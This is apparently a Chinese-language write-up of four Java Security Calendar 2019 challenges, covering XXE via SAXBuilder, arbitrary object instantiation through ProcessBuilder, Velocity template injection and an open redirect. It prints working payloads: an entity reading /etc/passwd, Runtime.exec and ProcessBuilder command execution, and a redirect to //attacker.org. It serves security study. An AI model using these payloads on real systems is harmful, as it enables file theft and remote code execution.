Day 1
https://www.ripstech.com/java-security-calendar-2019/
漏洞产生的主要是SAXBuilder.build()这个函数易受到XXE攻击。SAXBuilder类用于解析xml,攻击者可以上传包含恶意xml的文件来发起XXE攻击。
代码中ImportDocument这个类的作用是从"uploaded_office_doc.odt"文件中读取内容,以zip格式读入。通过对该zip文件中的所有文件进行遍历,判断是否含有content.xml文件。若其中含有content.xml文件,则将其通过org.jdom2.input.SAXbuilder.build()进行解析,若content.xml为恶意的xml文件,则产生XXE。
Day1.java
package com.ananaskr.day1;
import org.jdom2.JDOMException;
import java.io.IOException;
public class TestDay1 {
public static void main(String[] args) throws IOException, JDOMException {
ImportDocument test = new ImportDocument();
System.out.println(test.extractString());
}
}
.odt结尾的文件即开放文档格式,是一种规范。一个开放文档实际上也是一个ZIP文件,包含着多种资源。
content.xml
<?xml version="1.0" ?>
<!DOCTYPE foo [
<!ELEMENT text ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >
]>
<foo>&xxe;</foo>
将content.xml打包成zip格式,然后更名为uploaded_office_doc.odt,放入与项目jar包所在的目录下。
在项目中,将其进行mvn打包,然后运行java -jar day1-1.0-SNAPSHOT.jar
,结果如下
Day 2
https://www.ripstech.com/java-security-calendar-2019/
代码中存在漏洞的点主要在MainController方法,它会先判断参数controllerName的值是否为"MainController"。若不是,则会从data参数构造一个新的对象,且task参数作为对象的函数名,在对象上执行。而代码中的这些参数值都是攻击者可控的,因此,可以达到实例化任意对象,调用任何不带参数的函数。
Day2.java
package com.ananaskr.day2;
import java.io.IOException;
public class day2 {
public static void main(String[] args) throws IOException {
String rawJson = "{\"controller\":\"java.lang.ProcessBuilder\",\"task\":\"start\",\"data\":[\"touch\",\"hacked.jsp\"]}";
MainController con = new MainController(rawJson);
}
}
rawJson的值是json格式的字符串。可以通过实例化ProcessBuilder类来创建操作系统进程,达到任意命令执行。其中该类的start()方法会调用command命令列表和参数。data中是一个array,表示start()方法调用的command命令列表和参数。因此,构造的payload如下
{"controller":"java.lang.ProcessBuilder","task":"start","data":["touch","hacked.jsp"]}
在项目中,将其进行mvn打包,然后运行java -jar day1-1.0-SNAPSHOT.jar
,结果如下
Day 3
https://www.ripstech.com/java-security-calendar-2019/
代码中的velocity.evaluate()函数,用来在运行时动态解析模版语言,因此,若传入的是Java代码,即可执行Java代码。而fragment参数是可由攻击者控制的,fragment参数值会被Velocity当作Java代码执行,因此可导致代码注入漏洞。
由于在IDEA中直接放入这个类会报错,将第9行的final关键字去掉,且在render函数后加上返回值。
Day3.java
package com.ananaskr.day3;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
public class day3 extends HttpServlet {
public void init() throws ServletException{
}
public void doGet(HttpServletRequest req, HttpServletResponse res) throws ServletException, IOException{
TemplateRenderer temp = new TemplateRenderer();
temp.render(req,res);
}
public void destroy(){
}
}
web.xml
<!DOCTYPE web-app PUBLIC
"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
"http://java.sun.com/dtd/web-app_2_3.dtd" >
<web-app>
<display-name>Archetype Created Web Application</display-name>
<servlet>
<servlet-name>TemplateRenderer</servlet-name>
<servlet-class>com.ananaskr.day3.Day3</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>TemplateRenderer</servlet-name>
<url-pattern>/day3</url-pattern>
</servlet-mapping>
</web-app>
这种模版注入的限制是攻击者不能执行Java代码。因此,需要使用Java反射机制来访问Java类最终达到执行任意命令。
Java反射机制是指在运行状态中,对于任意一个类,都能够知道这个类的所有属性和方法;对于任意一个对象,都能够调用它的任意一个方法和属性。这种动态获取信息以及动态调用对象的方法的功能称为java语言的反射机制。
Velocity指令以#开头,后面跟一个关键字,例如#set指令,其功能是向一个变量或属性赋值。首先将一个变量$s赋值为空,即#set($s=""),然后再向一个变量$stringClass赋值为前一个变量的对象调用,获取基类,这个基类有"Java.lang.Runtime"的类对象。
payload最终如下:
user=&temp=#set($s="")#set($stringClass=$s.getClass().forName("java.lang.Runtime").getRuntime().exec("touch hacked.jsp"))$stringClass
将其escape后,完整的payload
http://localhost:8080/day31/day3?user=&temp=%23set%28%24s%3D%22%22%29%23set%28%24stringClass%3D%24s.getClass%28%29.forName%28%22java.lang.Runtime%22%29.getRuntime%28%29.exec%28%22touch%20hacked.jsp%22%29%29%24stringClass
Day 3
https://www.ripstech.com/java-security-calendar-2019/
代码中url参数是由攻击者可控的,然后在经过startsWith("/")的判断后,进行sendRedirect()函数进行跳转。本来startsWith("/")的判断是为了保证跳转的url是一个相对路径在本域下,然而以/开头的url并非只有相对路径才可以,例如//attacker.org是一个不带scheme的绝对路径URI,在进行跳转时,会直接跳转到http://attacker.org。
web.xml
<servlet>
<servlet-name>login</servlet-name>
<servlet-class>com.ananaskr.day4.Login</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>login</servlet-name>
<url-pattern>/login</url-pattern>
</servlet-mapping>
</web-app>
post的内容为
url=//attacker.org